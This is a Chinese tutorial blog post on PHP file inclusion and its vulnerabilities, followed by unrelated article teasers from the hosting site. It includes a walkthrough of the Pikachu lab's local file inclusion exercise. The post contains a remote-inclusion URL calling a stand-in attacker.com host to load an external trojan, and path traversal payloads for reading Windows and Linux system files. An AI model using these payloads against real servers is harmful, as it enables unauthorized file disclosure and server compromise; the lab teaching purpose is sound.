文件包含漏洞: 函数,实例[pikachu_file_inclusion_local]

news2024/11/14 13:45:50

文件包含

文件包含是一种较为常见技术,允许程序员在不同的脚本或程序中重用代码或调用文件

主要作用和用途:

  1. 代码重用:通过将通用函数或代码段放入单独的文件中,可以在多个脚本中包含这些文件,避免重复编写相同代码。

  2. 模块化设计:文件包含支持模块化编程,有助于将大型应用程序分解为更小、更易于管理的模块。

  3. 功能分离:将不同的功能实现分离到不同的文件中,使得代码结构更加清晰,便于维护和更新。

文件包含简单示例

使用include函数,在代码中引用html头部和尾部标签,实现网页的编写

index.php

<?php
// 包含头部文件
include "header.php";

// 页面的主要内容
echo "<h1>欢迎来到首页</h1>";
echo "<p>这是一个示例页面。</p>";

// 包含尾部文件
include "footer.php";
?>

html头部文件

header.php
<!DOCTYPE html>
<html>
<head>
    <title>示例页面</title>
    <meta charset="UTF-8">
    <script src="script.js"></script>
</head>
<body>

html尾部文件

footer.php

    </body>
</html>

PHP常见的文件包含函数

函数用法介绍主要用途
include()include 'filename.php';包含并执行指定文件。如果文件不存在,将产生警告,但脚本会继续执行。用于包含那些可能会重复使用的代码文件,如配置文件、库文件等。
require()require 'filename.php';包含并执行指定文件。如果文件不存在,将产生错误,脚本会终止执行。用于包含那些对脚本至关重要的文件,如初始化脚本。
include_once()include_once 'filename.php';如果文件已经被包含,则不会再次包含。执行效果与include()相同。用于包含那些在整个脚本执行过程中只需要包含一次的文件。
require_once()require_once 'filename.php';如果文件已经被包含,则不会再次包含。执行效果与require()相同。用于确保关键文件在整个脚本执行过程中只被加载一次。
require_all()*require_all 'directory/';不标准:递归包含指定目录下的所有PHP文件。具体实现可能因环境而异。

 文件包含漏洞

原理

当网站引入了代码或程序,且并没有对来源进行严格的校验时,就可能产生文件包含漏洞

漏洞类型

1.本地文件包含:网站包含本地服务器文件

        危害:敏感文件泄露

        url示例:http://example.com/page.php?file=info.php

2.远程文件包含:网站包含远程服务器文件

        危害:引用外部木马文件,服务器窃取

        url示例:http://example.com/page.php?file=http://attacker.com/remote.php

攻击流程

<1.寻找可能存在该漏洞的网站,如url中携带[file,file=http,FileName]等参数的网站

<2.更改文件引用路径,尝试读取本地文件,或引用外部服务器文件

<3.尝试使用伪协议执行命令,或查找文件

漏洞实例

本地文件包含[pikachu_file_inclusion_local]源码讲解

源码解读

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";
}

1.判断前端传递参数,中是否存在submit参数,并且filename参数值为非空

        <1 使用isset函数检查变量是否存在且非空

        <2 使用比较运算符 != 判断参数filename的值不为空

        <3 使用 逻辑与  && 将上述两个条件表达式进行拼接

        <4 条件表达式同为真(true),执行if内的代码块

2.创建变量filename接收前端参数filename的值

        <1 创建变量filename接收前端filename的值

3.将其拼接进include路径下,并使用include进行包含

        <1 将获取到的变量名拼接入,当前路径下的include文件夹路径下

        <2 PHP解释器在执行include语句时,解析字符串中的变量,并用变量的值进行替换

        <3 如果文件存在,会进行读取并显示

攻击流程

1.寻找攻击点

fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4

更改不同选项提交,参数filename的值随打开不同的文件,进行切换

2.更改携带参数观察页面状态

此处显示报错,并回显得出信息。

<1>windows系统

<2> 网站目录:F:\php-study\WWW\pikachu\pikachu\vul\fileinclude\fi_local.php

3.读取系统文件,并在无报错回显情况下,查询信息

原理:(../)可以查询上级目录下内容,且如果多个连用时可以忽视目录层级进行文件查询

windows系统配置文件:../../../../../windows/system.ini

 linux内核信息文件:../../../../../../../../../../../../proc/version

#如果没显示,尝试多写几层

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1941239.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

昇思25天学习打卡营第27天 | Diffusion扩散模型

学习心得&#xff1a;探索Diffusion扩散模型 在我最近对生成模型的学习中&#xff0c;尤其是Diffusion模型&#xff0c;我发现这是一种极具潜力的技术&#xff0c;特别是在图像生成领域。Diffusion模型的核心概念是通过一个逐步的去噪过程&#xff0c;将纯噪声数据转换成有意义…

算法——双指针(day4)

15.三数之和 15. 三数之和 - 力扣&#xff08;LeetCode&#xff09; 题目解析&#xff1a; 这道题目说是三数之和&#xff0c;其实这和我们之前做过的两数之和是一个规律的~无非就是我们需要实时改动target的值。先排好序&#xff0c;然后固定一个数取其负值作target&#xf…

单链表<数据结构 C版>

目录 概念 链表的单个结点 链表的打印操作 新结点的申请 尾部插入 头部插入 尾部删除 头部删除 查找 在指定位置之前插入数据 在任意位置之后插入数据 测试运行一下&#xff1a; 删除pos结点 删除pos之后结点 销毁链表 概念 单链表是一种在物理存储结构上非连续、非顺序…

Golang | Leetcode Golang题解之第264题丑数II

题目&#xff1a; 题解&#xff1a; func nthUglyNumber(n int) int {dp : make([]int, n1)dp[1] 1p2, p3, p5 : 1, 1, 1for i : 2; i < n; i {x2, x3, x5 : dp[p2]*2, dp[p3]*3, dp[p5]*5dp[i] min(min(x2, x3), x5)if dp[i] x2 {p2}if dp[i] x3 {p3}if dp[i] x5 {p5…

【PostgreSQL教程】PostgreSQL 选择数据库

博主介绍:✌全网粉丝20W+,CSDN博客专家、Java领域优质创作者,掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物联网、机器学习等设计与开发。 感兴趣的可…

图论模型-迪杰斯特拉算法和贝尔曼福特算法★★★★

该博客为个人学习清风建模的学习笔记&#xff0c;部分课程可以在B站&#xff1a;【强烈推荐】清风&#xff1a;数学建模算法、编程和写作培训的视频课程以及Matlab等软件教学_哔哩哔哩_bilibili 目录 ​1图论基础 1.1概念 1.2在线绘图 1.2.1网站 1.2.2MATLAB 1.3无向图的…

基于SpringBoot+Vue的校园疫情防控系统(带1w+文档)

基于SpringBootVue的校园疫情防控系统(带1w文档) 基于SpringBootVue的校园疫情防控系统(带1w文档) 主要对首页、个人中心、学生管理、疫情动态管理、知识信息管理、防疫教育管理、健康打卡管理、请假申请管理、出校登记管理、入校登记管理、核酸报告管理、交流论坛、系统管理的…

MySQL的建表及查询

一。建立表 mysql> create table student(id int(10) not null unique primary key,name varchar(20) not null,sex varchar(4),birth year,department varchar(20),address varchar(50)); mysql> create table score(id int(10) not null unique primary key auto_incr…

精明选择施工项目管理工具的实用建议

国内外主流的10款施工项目进度管理软件对比&#xff1a;PingCode、Worktile、Contractor Foreman、建设工程项目管理平台&#xff08;JSGC&#xff09;、智慧工地综合管理系统、工程项目信息管理系统&#xff08;GCXX&#xff09;、Buildertrend、Procore、Autodesk Constructi…

Edge侧边栏copilot消失

Edge侧边栏copilot消失 当前环境 自己ip问题已解决&#xff0c;edge中已登录账号&#xff0c;地区已设置为美国&#xff0c;语言已设置为英文。具体可以通过空白页右上角的setting验证 解决方案 首先&#xff0c;打开“任务管理器”&#xff0c;在其中找到 Microsoft Edge…

【C语言】动态内存管理(下)(realloc函数)

文章目录 前言1. realloc2. realloc函数在调整空间时的细节2.1 针对情况1&#xff08;realloc后面有足够的内存空间&#xff09;2.2 针对情况2&#xff08;realloc后面没有足够的内存空间&#xff09;2.3 realloc函数使用的注意事项2.4 realloc的使用实例2.5 realloc函数的补充…

ubuntu安装mysql8.0

文章目录 ubuntu版本安装修改密码取消root跳过密码验证 ubuntu版本 22.04 安装 更新软件包列表 sudo apt update安装 MySQL 8.0 服务器 sudo apt install mysql-server在安装过程中&#xff0c;系统可能会提示您设置 root 用户的密码&#xff0c;请务必牢记您设置的密码。…

产线中有MES系统 还有安装SCADA的必要吗?

MES系统即制造执行系统&#xff08;Manufacturing Execution System&#xff09;&#xff0c;是一种面向车间层的管理信息系统&#xff0c;旨在通过信息传递优化从订单下达到产品完成的全过程管理。 MES可以为企业提供包括制造数据管理、计划排程管理、生产调度管理、库存管理、…

网路布线和数值转换

文章目录 信号的分类数字信息的优势双绞线分类双绞线标准与分类 光纤的特点光纤分为单模光纤和多模光纤 光纤接口双绞线的连接规范EIA/TIA-568A和568B 线缆的连接综合布线系统无线电波的传输方式 数制转换十进制转二进制计算机的数值 信号的分类 1.模拟信号 2.数字信号 数字信…

动态住宅IP和静态住宅IP使用上有差异吗?

在互联网连接的世界中&#xff0c;IP地址是我们识别和访问网络资源的关键。住宅IP地址&#xff0c;特别是动态住宅IP和静态住宅IP&#xff0c;是两种不同类型的IP分配方式&#xff0c;它们在使用和功能上存在显著差异。 1. IP地址的稳定性 动态住宅IP&#xff1a;这种IP地址是…

七月份信息课总结

总结 七月份信息课总结算法记录线性代数&#xff1a;数论&#xff08;这是信竞生和数竞生都最难跨出的一步&#xff09;&#xff1a;动态规划&#xff08;~~DP万岁&#xff01;&#xff01;&#xff01;~~&#xff09;组合数学&#xff08;恶心&#xff0c;但我很喜欢&#xff…

Python爬虫-淘宝搜索热词数据

前言 本文是该专栏的第70篇,后面会持续分享python爬虫干货知识,记得关注。 在本专栏之前,笔者有详细针对“亚马逊Amazon搜索热词”数据采集的详细介绍,对此感兴趣的同学,可以往前翻阅《Python爬虫-某跨境电商(AM)搜索热词》进行查看。 而在本文,笔者将以淘宝为例,获取…

Linux----Mplayer音视频库的移植

想要播放视频音乐就得移植相关库到板子上 Mplayer移植需要依赖以下源文件&#xff1a;(从官网获取或者网上) 1、zlib-1.2.3.tar.gz &#xff1a;通用的内存空间的压缩库。 2、libpng-1.2.57.tar.gz :png格式图片的压缩或解压库 3、Jpegsrc.v9b.tar.gz : jpeg格式图片的压…

linux配置podman阿里云容器镜像加速器

1.下载podman yum install -y podman systemctl status podman systemctl start podman 2.获取阿里云个人容器镜像加速器地址 访问阿里云官网&#xff1a;首先&#xff0c;您需要访问阿里云&#xff08;Alibaba Cloud&#xff09;的官方网站。阿里云官网的URL是&#xff1a;…

医疗器械维修人员培训的重要性及其操作策略

医疗器械维修人员培训的重要性及其操作策略是确保医疗器械持续、安全、有效运行的关键。以下是对其重要性的解释以及相应的操作策略&#xff1a; 医疗器械维修人员培训的重要性 确保患者安全 经过培训的维修人员能够更准确地诊断问题&#xff0c;及时修复设备&#xff0c;避…